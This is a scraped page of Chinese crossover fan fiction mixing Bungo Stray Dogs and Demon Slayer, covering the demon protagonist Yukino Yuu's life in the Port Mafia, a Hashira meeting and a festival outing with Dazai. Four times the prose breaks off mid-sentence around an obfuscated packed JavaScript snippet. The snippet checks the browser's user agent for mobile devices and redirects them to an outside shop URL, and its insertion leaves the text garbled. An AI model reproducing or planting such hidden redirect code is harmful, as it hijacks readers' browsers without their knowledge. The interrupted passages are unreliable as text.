等太宰治来到首领办公室报告仍未完全平息的风波时,看到的是更加伤痕累累的中原中也以及……变小的雪野夕? “暗杀王的实力非常强,有他待在暗处为我们培养精通暗杀的人才……”森先生正在描述他的展望,中原中也因为旗会的死亡闷闷不乐,而雪野夕正在惋惜。 不愧是自称为中原中也哥哥的男人,一个两个都这么好看,就算是下手非常之重,但那惊人的颜值也使得打人的姿态别有一番风味。 但旗会中的其他成员也是港口mafia的青年才俊,就这么轻易地被他夺取了性命吗? 异能者,是不幸的源头,那个人说的话又在不知不觉间萦绕心头。 “……以上,对了,雪野有没有升任干部的想法?”森鸥外笑眯眯地看向她。 来了,老板的画饼时间,雪野夕举手,“请问我还是可以像以前那样白天睡觉晚上……” “不可以哦。”也许是她现在的外表有加持,黑心的首领语气中也带上了一分调侃。 “啊,那还是算了。”她往前挪挪才能从脚够不到地面的椅子上跳下来,旁边的爱丽丝顿时可怜巴巴地说:“我给雪野酱编发才编了一半哎。” “不可以拒绝这么可爱的爱丽丝酱啊!”森鸥外从木桌后一个滑铲来到椅子边,“我来帮爱丽丝酱怎么样?我可以来编另一边哦~” “笨蛋林太郎!” “好伤心,真的好伤心~”森鸥外双手做捧心状,“居然被爱丽丝酱这么说……” 他擦擦自己鳄鱼的眼泪,转头问雪野夕,“不过,雪野酱真的不能一直维持这个状态吗?我可以加工资哦。” 雪野夕的身影“嗽”一声出现在门边,两边还没有编好的头发散开,“我先走了首领!” “真可惜啊爱丽丝酱。”森鸥外抱住了身边的小女孩,“现在只有我来陪你玩了。” 雪野夕离开办公室后,身后的门又响动了一声,双黑从里面走了出来。 她往墙壁那边靠了靠,毕竟现在是早上了,阳光璀璨,看起来非常致命。 太宰治垂眸盯着她看了一会儿,突然走过来用自己的西装外套从头罩住了她。 突然被西装大衣糊脸的雪野夕:“……” 依旧是熟悉的、属于太宰治的气息,这次闻起来要温暖一些,还带了些许血腥气。 而近在咫尺的太宰治正偷偷打量她,嗯,变小后的雪野小姐看上去脸更圆了,两侧的头发松开,还残留着一点弧度。 ……好可爱。 “我还没问呢,你怎么变成这个样子?”双黑中的另一位,帽子君中原中也以为太宰治在尽心尽力地给她挡太阳,心里还在纳闷为什么这条青花鱼突然这么好心了。 “消耗太大,只能先变成这样了。”雪野夕打了个哈欠,“待会儿我要去睡觉……” 中原中也不知道从她目前的状态上联想到了什么,抿了抿唇,“喂……其实我之前不应该凶你的,抱歉。” 一眼就看明白他在想什么的太宰治忍不住笑了一声,被狠狠瞪回来,“笑什么啊混蛋!” “只是在感慨哦。”太宰治突然握住西装两侧一收,毫无防备的雪野夕被一个踉跄围在他的身侧。 ……是在报她差点把他拉倒的仇吧!小气的家伙。 始作俑者毫无悔意地继续循循善诱,“毕竟雪野酱受了伤呢,之前还要被小蛞蝓大喊大叫着指责……” 作为港口mafia唯一的良心,中原中也气势不足地按住了帽子,“那…那又怎样啊?” 太宰治像只诡计得逞的猫,“不如就请中也在伤好之后把雪野酱的任务一起完成,怎么样?” 嗯?雪野夕迷惑一秒,她跑得足够快,快到森先生根本来不及给她布置任务……果然,这些任务根本就是他自己的吧? 下一刻,太宰治漫不经心地吐出了几个组织的名字,仿佛这些需要抹杀的对象在他口中还比不上一根轻飘飘的羽毛。 “就这些吗?”中原中也不屑地活动了下手腕,“这种程度……就连复健都算不上。” “哦呀,真不愧是中也呢。”太宰治毫无波澜地抬手鼓了鼓掌,“那就拜托了哦。” “哼!” 中也大小姐傲娇地哼完之后,又继续别扭地和雪野夕聊天,“你的身手还挺好的嘛,系统地学过暗杀?” “这个嘛。”目前外表看起来只有五六岁的雪野夕点头,“以前确实有被逼无奈学过一段时间哦。” “据说我的父亲很喜欢收藏各种冷兵器,所以后来都尝试了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340018|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂时还是刀剑用得最顺手呢。” “据说?”中原中也有点吃惊,“……你没见过他?” “没有。”雪野夕摇头,“我从没见过母亲和父亲。” “所以很抱歉,中也,并肩作战前你问过我的‘羁绊’之类的,我没有体验过哦。” “没事……”愈发肯定自己猜测的中原中也心中有点不是滋味,“你的任务,我会帮你做完的。” 这次还不等雪野夕开口,太宰治就相当自然地摸了摸她的头,“那就麻烦中也了哦~” 虽然下意识觉得他没安好心,但勤勤恳恳的帽子君还是应了一声,就下楼干活了。 雪野夕:“……” “他居然是黑手党,真是太不可思议了。”这句话是雪野夕最真诚的感叹。 “嗯哼,雪野酱难道觉得黑手党应该都是像我这样……坏事做尽的吗?”按在她头顶的手没有挪开,反而得寸进尺地加重了力气。 “起码在暴躁方面,中也没输。”她不舒服地甩甩头,“你干嘛!平时不都躲着我走吗?” ……确实有些,不想,也许是不敢和她见面。可是如果是在每一个任务期间都能够见面的话…… “雪野酱那天可是打了我一耳光耶。”最终还是避重就轻地说出了这句话,“超凶的……哎!” 又被踩的太宰治可怜兮兮地替她打开了办公室的门,单膝跪地跟她说话,“总之,做个好梦吧,雪野小姐。” 少年想要起身离去的动作被一根绷带拽了回去,脖颈被勒紧一瞬又松开,喉咙间后知后觉泛起的痒意让他下意识咳嗽起来。 “咳咳……雪野酱真的打算勒死我啊?该庆幸我这次身上缠好了绷带哦。” “我都说过了。”雪野夕很有耐心地摸了摸半跪下来终于比她矮一些的太宰治的头,发丝蓬松而黑,连缠绕在其中的雪白绷带都像是冷却岩浆上的一抔雪。 “你明明不想死啊……所以,不要对这个世界太失望了,也许还有人在未来等着你呢。” 眼角泛起一点泪光,那丝水痕很快被太宰治不在乎地擦干,“会使用与月亮相关剑术的雪野夕小姐……听上去如此寂寥,居然总是会吐出阳光一样的话来呢。” 其实他才是鬼吧?被温暖又坚定的存在照耀,就会在其中化作尘埃,最后什么都不剩。 “太阳虽然耀眼,但月亮也是独一无二的。”雪野夕有点困了,与魏尔伦作战实在耗费了她太多能量,刚刚在森先生办公室里的瞬移已经是她能使用的最后一次血鬼术了,“这句话作用于人……是一样的。” 包括你,太宰治。 你也是这个世界上独一无二、无可替代的存在。 未尽之言,他听懂了。 心中有些古怪的东西在发酵,太宰治说不清是什么,但一定能让现在的他落荒而逃。 看着困到快要睁不开眼睛的雪野夕,下意识地,他再次说出了那句话,“祝你做个好梦……雪野酱。” “……明天见。” 24.龙头战争 横滨真是时刻处于多事之秋。 因为某不知名异能者死后留下的无人继承的五千亿遗产,关东地区不知多少个组织卷入了这场疯狂的财产争夺战。 不,应该用杀戮盛宴来形容更合适一些。 异能特务科为了结束这场争端,引入了一个名为涩泽龙彦的异能者,但没想到对方根本不听他们的指示,反而带来了更加严重的危机。 对于这种情况,森先生似乎另有打算。 如果港口mafia能用最小的代价解决这一切,那么涩泽龙彦这个既能瓦解敌对组织,又能为己方行动提供遮掩的存在,简直是另一种意义上的【最优解】。 ……除了需要用过于繁重的死亡才能装点这份想法。 ——【雪野夕の日记,4月20日。】 浓重的白雾笼罩横滨,而在雾中,时刻都在发生着大大小小的战斗。 “太宰这几日又不见人影呢。”森先生轻轻叹了口气,果然如预料之中没有得到雪野夕的附和。 “雪野,也许你需要去寻找一下我那不成器的学生了。”他鲜少说这样直白的话,“我们的人手折损速度很快……” “森先生,话语中没有夹杂着隐喻的话好像就很难说出口呢。”雪野夕把手上的书放下,“毕竟老板都想要能体会自己心意的员工?” “哎呀,雪野酱。”森鸥外用手绢擦了擦不存在的眼泪,“用现在这种可爱的形象毒舌是很好啦……但我也是会伤心的啊。” “我去就是了。”她“啪”一声合上书,“森先生现在的鞭策方式真让人受不了。” 昔日精美的建筑化作废墟,雪野夕撑着伞在废墟上跳来跳去,河边没有,长势很好的几棵树上没有,废墟底下没有,集装箱没有…… 她越过一块破碎的石板落地,心里正想着横滨著名景点还有哪些,就听到身后传来一个青年的声音—— “小朋友,你的家人呢?” 好耳熟!雪野夕转头,果然看到了老熟人,励志成为小说家的织田作之助先生。 “是你,织田先生。”她抬头问好,头上的帽子按照她现在的体型来说有一点大,不得不用一只手扶住才能看到他。 “你是……雪野小姐的家人?”织田作之助看上去有点吃惊,接着做出了认知里最合乎情理的推断。 “大胆一点哦。”雪野夕摇头。 织田先生不知道想到了什么,非常凝重地问:“……那你是她的女儿?” 雪野夕:“就不能往我是本人身上想吗!” 织田作之助:“啊,抱歉。” 一旦知道她就是本人,他的接受程度反而惊人地良好,接着非常认真且担忧地询问她要不要先去他家避避风头。 放着一个小孩子在街上走,就算内里比现在这副模样大一些,那也太危险了,更何况雪野小姐还给了自己资金上的支持。 虽然还没写出什么东西,但那笔钱也让自己可以养得起自己和五个在战争中失去亲人的孤儿了。 “你说你收养了五个孩子?!”雪野夕觉得自己比较震惊,“你居然这么有耐心!” “啊,是这样。”主动牵住她的手的织田作之助动作熟练,一看就是经常带孩子的模样。 他带着雪野夕在目前的落脚点停下,打开房门,一个更加熟悉的声音就传了过来—— “什么嘛,织田作,你又捡了新的孩子回来……”懒洋洋盘膝坐在地上的太宰治一手撑住下巴,等到看清她的模样直接怔住了,眼睛也像小猫咪一样瞪得圆乎乎的。 “你在这里?”雪野夕收好伞,“亏我还仔细翻了横滨所有的垃圾桶呢。” “难道雪野小姐也看了那个如何用垃圾桶来自杀的方法吗?”太宰治下意识捂住自己的脖子,“我可不想在没实施之前就被你勒死啊。” “你们居然认识吗?”屋主织田作之助有点茫然。 “那可是当然哦。”太宰治接过栗子酱很自然地放在头顶,“我和栗子酱可是横滨好搭档!” “除了你没人这么觉得。”雪野夕无语,“首领让我出来找你,阴差阳错也算是任务完成了吧。” “啊,森先生。”小黑猫没骨头一样瘫倒,“分明就是他给的任务太重了,我才会体力不支倒在织田作门前被他捡到啊。” 虽说在看到自己的记忆后,他这么做也有故意的成分在就是了。 “连外号都起好了吗?”她看着自然地准备去做饭的织田作之助,“织田先生,我来帮你吧。” “哎?”红发青年慢吞吞地拒绝,“……这个样子会很不方便吧?” “那我来如何?”太宰治眼睛一亮,自告奋勇,“正好雪野酱没有尝过我的手艺哦。” 拿着菜刀的织田作之助闭上了眼睛,“最好还是不要……” “真是不祥的预感。”雪野夕默默退了两步。 半个小时后,桌子上多了几份激辣咖喱和一碗正在冒着漆黑泡泡的汤。 雪野夕两眼一闭看不见自己的未来,“请问有正常一点的食物吗?还有其实我不进食也完全可以……” “辣咖喱很好吃啊。”这是天然的织田作之助。 “人家可是第一次下厨啊。”这是充满黑泥的太宰治。 不能吃辣的雪野夕硬着头皮吃了一口辣咖喱,倒吸一口凉气,顿时感觉嘴里更辣了,能够咽下去全靠自己身为鬼的体质。 至于旁边的汤…… “好像是女巫熬的魔药。”她非常诚恳地给出了这份评价,“总感觉原材料会是老鼠的尾巴、蜥蜴的眼睛这种东西,把勺子伸进去搅一搅,就会被腐蚀得只剩下柄。” “什么嘛!”太宰治有点不服气,“人家明明放得都是正常的食材!” “那你先喝!”她眼疾手快,赶在一脸认真地舀起一勺汤就要往嘴里放的织田作之助前面把勺子和汤塞进了太宰治的嘴里。 他下意识咽下去,脸上的表情果然凝固了。 “怎么会……这样。”小猫咪眼角浮现出了泪花,“雪野酱,居然没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361730|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一时间勒死我……” 他含泪倒下了。 织田作之助忧心忡忡地放下勺子,“那太宰岂不是吃不到今晚的咖喱了?” 雪野夕:“……” “不要紧。”她定了定心神,“你收养的那五个孩子肯定会吃的。” “也是,他们都很喜欢。”织田作之助完全听不出调侃,非常自然地接过了感谢。 “……”雪野夕哽了一下,跳下凳子,“既然人找到了,那我也该回去向首领复命了。” “现在?”红发青年终于有了别的情绪,“太阳马上就要落下去了……” “那正是时候啊织田先生。”雪野夕带好帽子,看了一样趴在地上的太宰治,“太宰的话,就让他在这里玩两天吧。” 反正森先生只说了找到,又没说要把他带回去干活。 “养孩子的压力肯定很大吧。”她离开前还认真地问:“我这里还有……” “不。”织田作之助更加认真地拒绝了她,“不要再塞给我金条了,雪野。” “好吧。”雪野夕遗憾地耸耸肩,“那我只能期待下次你做咖喱的时候不要给我放太多辣了,我不擅长吃辣呢。” 双方告别,太宰治才从地上爬起来,目光有些发散地盯着门口她离开的方向。 “雪野小姐肯定做什么都能做好吧。”他突然有些忧愁地叹了口气,“不像我,做什么都会失去动力呢。” 听见比自己小的人说出的丧气发言,织田作之助有些无奈地看了他一眼,“还要喝自己煮的汤吗?” “好可惜,那还是等到下次想要自杀时再尝试吧,现在想来点酒呢。” ———— 行走于夜晚的雾中,身上似乎被剥离出了一部分东西。 ……这才是森先生的目的吗?借由异能者来体会一下涩泽龙彦的手段。 白雾中传出一声尖锐的鸣叫,似乎有什么东西向着她俯冲过来了。 雪野夕完全没有躲避的意思,以她现在的体型,闪躲起来也异常吃力,所以她甚至主动伸出手臂,任由冲过来的猛禽用尖利的喙部撕裂了手臂。 鲜血喷涌,瞬间就将她的和服染红了一片。 但流淌下来的鲜血也化作了红线,一丝丝将禽鸟捆住,最后让它不得不收拢翅膀,回到主人身体里。 空间操纵,既是她的血鬼术,又在【龙彦之间】中被定义为异能。 但通过血液来激发的实质,却让它有了一个致命的弱点,当碰到雪野夕的血液时,异能就一定会回归她的身体。 啧,这点对其他的异能者来说没有参考价值,那么果然是要在雾中击败自己的异能才可以吗? 白雾散去,一个瘦弱的人出现在街角。 他面庞柔和得不可思议,看完这场戏剧后轻轻地鼓了鼓掌,就像一位乐团的指挥家,正在指挥一场与他而言再简单不过的篇章。 烟尘彻底散去,雪野夕对上了他那双含着笑意的紫色眼睛。 “……是你啊。” 25.柱合会议 龙头战争已经过去了不少时间,在时不时去另一个世界摸鱼的情况下,我竟然觉得时间过得异常漫长。 如此说来,我可以背地里偷偷内卷,然后让我在港口mafia的同事们大吃一惊。 经过多次实验,两方的时间流速比大概是三十比一,原谅我在察觉到这种穿梭时空的作弊器的前提下,脑子里最先想到的竟然是这下不用担心工作做不完了。 ……已经,彻底变成社畜的形状了吗? 其实都怪森先生压榨劳动力,在异能者无法随心所欲地进入雾中作战的时刻,他也没让我们闲着,天知道我看到那一摞文件时是多么的无语。 最崩溃的应该是有良心的帽子君?据说太宰治经常会将需要交接的文件折成纸飞机乱扔,不知道有没有机会看到他被帽子君砌进墙里—— (写这段的时候被太宰治发现了,在他的控诉下不得不用红笔在旁边打了个叉。) (段落旁边还画着几个乱糟糟的鬼脸,真是难看啊。) ——【雪野夕の日记,5月23日。】 “为什么不带上我嘛!”太宰治瘫在一堆彩色的抱枕里,“雪野酱真过分!” 雪野夕欣赏了一会儿猫咪耍赖的模样,再次拒绝,“你忘记上次带你去大正时代,你是怎么喝毒药了的吗?” “上次是意外啊……”他眼神飘忽,“答应我嘛答应我嘛,夕酱!” “……”雪野夕沉默了一下,“这个时候不许使用美人计啊!” “哎?”一对猫耳好像从太宰治头上立起来了,于是一只穿着西装打着绷带的小黑猫就此从彩色的抱枕堆里钻出来,“是觉得我的皮囊很好看吗?” “没有,你听错了。” “我的听力可是很好的!”猫猫“噌”一声从蹲着变起立,“真是的嘛,明明夸过小蛞蝓很好看,还在日记里说什么‘魏尔伦先生的美貌像是漆黑的夜里升起一轮太阳’‘美貌程度和中原中也是兄弟也太赞了’,还写过‘乱步先生不但聪明,行动也像猫咪一样可爱’……” “竟然都不夸我!”黑发猫咪不服气地大声嚷嚷,“我会怀疑雪野小姐眼神出了问题的!” “不许再重复我日记里的话了!否则我就勒死你啊你这条混账青花鱼!” “怎么可以用小蛞蝓的话来骂人家,好恶心好伤心!” “真的没有写我的吗?”太宰治眼睛里蒙上一层泪雾,“连一点点也没有吗?” 正在庆幸对方只看到了一部分的雪野夕:…… 这种讨不到心爱的猫罐头的眼神是要闹那样啊! “还好他没看见对吧?”藏着她头发里的栗子酱悄悄跟她说:“……计划姐。” 雪野夕握紧的拳头发出一声骨骼的脆响。 已经感觉到了杀意的太宰治继续叭叭,“还有还有,明明在雪野酱的日记里,织田作是‘温柔人夫男妈妈’连森先生都是‘像吸血鬼,别有一番风……’呜呜唔!” 恶狠狠捂住他的嘴的雪野夕一个裸绞勒住他的脖子,“混蛋!连这也偷看,我现在就要勒死你啊!” “那真是太好了!”根本没有太多窒息感的太宰治眼睛都亮了,“请务必用力一点!” “要怎么样你才能不说出去?”她冷笑着问。 “带上我嘛!”话题绕回最初。 “不带也会跟着去的吧!”雪野夕摸索到了他绷带的末端,“你都把栗子酱……” 神不知鬼不觉地将栗子酱偷渡过去的太宰治一僵,“等、等一下……雪野酱……不要再摸我的绷带了……好痒!” “就要!” “什么嘛!身体变小了行为也变成小孩子了吗?” 砰地一声,两人再次出现在大正时代的小屋里,而深藏功与名的栗子酱满足地扇了扇翅膀,从窗户中飞走了。 太宰治眼疾手快地用西装外套将雪野夕裹起来,没让耀眼的阳光照射到她。 “终于能享受一会儿休闲的时间了呢。”他很没架子地盘腿坐在地板上,视线扫过气鼓鼓的雪野夕,以及屏风后乱七八糟的围棋残局。 有点理亏的猫咪像是想到了好主意,“来下一局围棋怎么样啊?雪野酱?” “你赢了的话我以后都可以听你的哦。” “哈?你什么时候去学了下围棋?” “现学也可以哦。” “……” “再敢输一局赢一局我就把你抓起来送给我的老师吃掉!” “哎?比起这样的结局还是被可爱的鬼小姐吃掉更好吧!” “是因为打牌从没赢过织田先生所以要在围棋上找到快乐嘛!” “啊啦,可惜雪野酱没有【天衣无缝】呢。不过如果真的有,雪野酱会用来做什么呢?” “哎?应该会去买盲盒吧?” “真是个了不得的用处呢。” ———— “恭喜你们,通过藤袭山的考核。”双胞胎在出口迎接,“除了三位,还有一位少年也活了下来,但他已经提前下山去了。” “好!”额头有疤的少年握紧了拳头,总有一天,他会变得很强大,足以保护好自己和仅剩的家人,更可以为死去的亲人们复仇。 想到这个目标,名为灶门炭治郎的少年握紧了手中的日轮刀,在空中飞舞的鎹鸦的指示下踏上了自己的斩鬼之路。 在结识了我妻善逸与嘴平伊之助后,三个少年合力完成了几次任务,直到在那田蜘蛛山撞上了眼眸中刻有数字【伍】的鬼。 艰难地战斗过后,下弦之五累被斩杀,祢豆子却彻底暴露在了鬼杀队面前,对此,灶门炭治郎被带往了做出决策的柱合会议。 “砰——” 风柱不死川实弥将炭治郎按在地上,“喂!你早就知道那只鬼的存在?一直隐瞒我们,是何居心?” 被质问的水柱富冈义勇表情平淡,“没有这个必要。” 他相信主公大人会给出最公正的判断,更相信自己的伙伴拥有崇高的觉悟,绝不会因为对方是鬼就将祢豆子保护人类的决心忽视!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382558|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这话落入不死川实弥耳中,让他成功青筋暴起,“你是想打架……” “请对这个孩子温柔一些吧。”花柱蝴蝶香奈惠微微皱眉,看着头被按在稀碎石子上的炭治郎,“想要保护家人的决心没有错……” 在她身后,已经晋升为虫柱的蝴蝶忍赞同地点头,表示她支持姐姐的话。 而时透有一郎和时透无一郎两位霞柱则是持观望态度望着这边,无一郎甚至有些不忍于见到炭治郎头破血流的模样。 如果是哥哥变成了鬼……他也一定不忍心和哥哥分开吧。 而有一郎看到了他亮晶晶的眼睛,虽然轻轻啧了一声,却还是握住了弟弟的手。 不死川实弥“啧”了一声,放开了炭治郎。 炭治郎:但是总感觉他在狠狠地瞪着我呢…… 除此之外,庭院中还有两个身材高大的男人,一个发色像岩浆的活力男士,一位半躺在树上的异瞳男子,一个发色美丽的年轻女人以及一对长得一模一样的双胞胎。 这些就是鬼杀队最强的战力,柱吗? 随后,一道温柔的声音传来,看上去性格各异的强大剑士们居然就这么在同一时间低身问好,但走过来的主公却是个身形羸弱,年纪轻轻的男子,身边扶着他走来的夫人,则像白烨树妖精一样美丽。 在同意不伤害祢豆子后,虽然众柱意见不一,但最终还是遵从了主公的命令。 最后,产屋敷耀哉温柔地对炭治郎说:“不必担心,我也期待你的妹妹,灶门祢豆子,能够为帮助人类而战。” “她并不是第一个站在鬼杀队这边的鬼。” 跪倒在地的炭治郎瞪大了眼睛,“什、什么?您是说……还有别的鬼也帮助过鬼杀队吗?” 话音刚落,旁边的不死川实弥就重重地哼了一声,但蝴蝶香奈惠附和他说:“是哦,如果没有那位鬼小姐的帮助,我应该已经死去了吧?” “姐姐,下次绝对要和我一起面对啊!”脾气更加外放的蝴蝶忍在一旁要求。 “啊啦啊啦,我知道了哦,小忍。” “姐妹情深,好可爱。”恋柱甘露寺蜜璃忍不住双手合十,“还有两位霞柱,真好啊。” “哈哈哈,甘露寺也是一样有精神啊!” “哼,家人之间的感情,称得上华丽。” “南无……” 产屋敷耀哉温柔地倾听着这一幕,他的视力在逐渐消退,但能知道孩子们这么有活力,真好啊。 “几百年来,这些孩子们是最强的一代剑士。”他和缓的嗓音响起,“原本鬼杀队的柱席位,最多只有九席,但这群孩子们却像我们证明,他们的潜力远不止如此。” 他微笑着握住了身侧天音夫人的手,“也许,鬼的时代会被这群孩子们终结。” 明明有着近乎全盲的眼睛和生着诅咒的脸庞,但炭治郎仍觉得对方是个非常温柔而强大的人,他看向自己的模样像是饱含着充满信心的魔力—— “我一直如此期待,并相信着。” 26.花火大会 最近天气越来越热了,已经不知不觉来到了六月呢。 太宰治果然是港口mafia小兔宰治,简直就是游戏黑洞! 什么围棋将棋五子棋,甚至连插花都略有涉猎! 如果不是因为在烹饪上老是冒出很多惊天地泣鬼神的创新想法,我都怀疑对方是不是在烘焙方面也能立刻去开店了。 现在每天看着他笑眯眯的脸,就觉得压力好大…… ——【雪野夕の日记,6月22日。】 “去花火大会看看怎么样?雪野酱?”太宰治扯着她的袖子,“去嘛去嘛去嘛去嘛!” “你已经形成固定套路了吗?”雪野夕丢下一枚棋子,“不要老用这个方法逼我答应啊!” “方法这种东西,有用就好嘛。”已经换上崭新浴衣的太宰治正在用手逗弄栗子酱,“反正夕酱会答应我的,对吧?” “才不。” “哎!?”这些天什么也没干的太宰治看上去气色好了很多,“可是是夕酱你说很无聊快来和我玩我才赢那么多的嘛。” “你会闲得无聊?明明是从愈史郎先生那里套取了什么情报吧?”雪野夕扔给他一个新鲜的桃子,“花火大会,夜幕降临,除了吃人的鬼,猎鬼的剑士可同样会游走在人群之中哦。” “哦——好厉害!”太宰治小海豹鼓掌,“真不愧是夕酱,不愧是推理与第六感都很强的女性,啊,感觉要把人生目标从自杀改成和美丽的女性一起殉情……嗷!” 早就知道会被打的太宰治摸摸头发,“说起来绷带储备也不多了……如果失去绷带,我会死掉的啦!” “撒娇不成改撒泼了吗?” “哎?这都行不通吗?”猫猫蹲在地上想了一会儿,眼睛一亮,“那夕酱觉得我留长发怎么样?” “不许叫得那么亲密。”雪野夕终于忍不住拿手边的绣球花丢过去,“这招对我是没有用的。” “真的吗?”太宰猫猫歪歪头,“但是我换成浴衣的时候夕酱眼睛都亮了哦。” “啊啦,难道想和夕酱一起玩角色扮演的游戏都不可以吗?” 不知何时已经带上了蛊惑人心笑容的太宰治凑近,按住了桌案的一角,他此时仰视着雪野夕,极富有诱惑性的面容和那双宝石一样的眼睛静静地凝视她。 按照想法,如果不能用恐吓或是暴力,不如就试试诱惑? 雪野夕抬手放在了他的脸上……是啊,人性,就是这样。 “啊痛痛痛!”被雪野夕扯了脸颊揪住不放太宰治被迫抬头,“雪野酱干什么啦!” “对人家这么凶,真粗暴……” 他眨了眨眼睛,试探着放松身体,直到最后完全靠在她身上。 “太宰。”就在他将要无意识地开始神游的时刻,雪野夕的声音在耳边响起,“想去花火大会的话,就真诚地请求我吧。” “哎?我刚刚不够真诚吗?” “是啊。”她轻轻笑了笑,突然用手摸了摸他的头发,“只要是你真心想去,我就会和你一起去哦。” 不是试探,不是刻意引诱,更不是想要打探什么情报。 只要你说你想要看见夏日的烟火。 肩上靠着的人却不知为何,“噌”地一声弹跳了起来,那只有点慌乱的眼睛和她一对视,拥有者被绷带遮住一半的脸庞就立刻透露出些许绯色。 他似乎是下意识想要逃去门外,但腿脚却突然不听使唤,只能被迫留在原地,与冬日深雪一样的小姐对视。 ……糟透了。 照这样下去,总有一天他会输的吧? 为何其他自己的记忆中没有雪野小姐的存在呢? 还是说……他目前就处于她唯一可能性的道路上呢。 沉默不语的太宰治,成功让雪野夕品出了一点“他真的只有十六岁”的味道。 “真是不坦诚的小孩子啊。”她收拾好最后一粒棋子。 “什么嘛。”回过神来的太宰治干脆学着她的样子盘腿坐下,一手撑着头,“雪野酱才更像小孩子,无聊了就说快来陪我玩之类的话。” “还好这里没有工作啦,否则荒废工作一定会被森先生责骂的。” “因为娱乐设施太少了,在港口mafia的办公室还可以打打游戏之类的。”雪野夕有点忧愁,“难道我闲得无聊还能教你呼吸法吗?” “那不如我来教雪野酱开锁怎么样?”太宰治轻轻锤了一下掌心,“但雪野酱记得要带我去花火大会哟。” “难道你要去捞金鱼吗?”她倒是对神奇的开锁术有了点兴趣,“那就学这个了。” 于是太宰治从袖子里摸出一对手铐,先是拷在了自己的手上,接着随意活动两下手腕,一个清脆的响指后,两只手铐都开了。 “哎?好快。”雪野夕捡起手铐,纠结自己要不要也铐上试试。 “来嘛来嘛。”太宰治好像对把她用手铐拷起来这件事有超乎寻常的热情,亲自给她带上后又双手握住了她的手腕。 雪野夕:“……” “你干嘛!” “毕竟只要我一松手,雪野酱肯定会用异能力,或者说是血鬼术来切断手铐内部呢。”他看上去有点苦恼的样子,“虽然平时玩一下没关系,可是我这次来就只带了一副手铐哦。” 稍稍拿回一点主动权,太宰治心里有点雀跃。 到底是什么时候产生了想和雪野小姐一起去花火大会的念头呢? 啊,好像是第一次来到这里时,雪野小姐找出来给他穿的衣服,其中有一件正好是适合现在穿的时节吧? 那个时候他就在想,是不是应该至少活到可以正式穿上这件衣服的时间呢。 冬日的水太冷了,所以无法入水;春日有杀人犯在鹤见川投放尸体,被劝说不要入水;后来又收到了合适的衣服……想要再活一天的心又延长了。 唔,还有点拒绝不了对方陪她玩的要求。 ……什么嘛,感觉自己就快要被劝服了啊。 所以果然还是—— “我要这个团子!”太宰治理直气壮地指着点心摊子上的和果子,“给我买给我买!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410018|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉对方都快要在地上打滚的雪野夕:“……” 再看看身边多数带着笑意看过来的人们,她好想现在打个响指就立刻离开啊! “金平糖也要!”不依不饶的太宰猫猫凑过来,“这次是栗子酱说它想吃。” “不要假借我的名义啦啾!”栗子酱低头去揪太宰治的头发。 “夕酱你看它!”太宰治立刻顺杆爬,“如果栗子酱把我的头发啄秃了,我就没办法留长发,到时候就没办法和夕酱玩角色扮……唔唔!” “说什么呢姐夫!”雪野夕破罐子破摔,顶着周围民风淳朴的气氛说:“我们两个一起私奔,中也姐姐她知道吗?!” 太宰治只愣住了不到一秒,并且成功露出了被恶心到的神色,但还是很坚强地迅速进入了角色,“没关系的夕酱!其实我早就厌烦那个黄脸……” 正当雪野夕起了一身鸡皮疙瘩,觉得远在另一个世界的中原中也已经喷嚏连连时,远处突然传来两个熟悉的声音打断了这荒谬的一幕—— “是雪野姐!哥哥!” “嗯嗯嗯看到啦!这么着急干什么……真是的!” 和鬼杀队两位霞柱一起过来的,还有刚刚参加完柱合会议的炭治郎,以及他的同伴我妻善逸和嘴平伊之助。 和激动的时透兄弟不同,炭治郎在嗅到空气中味道的瞬间,整个脑海几乎陷入一片冰凉。 因为他的嗅觉在清楚地告诉他,眼前这个亲切的人,不,眼前的女士竟然是一只鬼。 一只混迹于人群中的鬼。 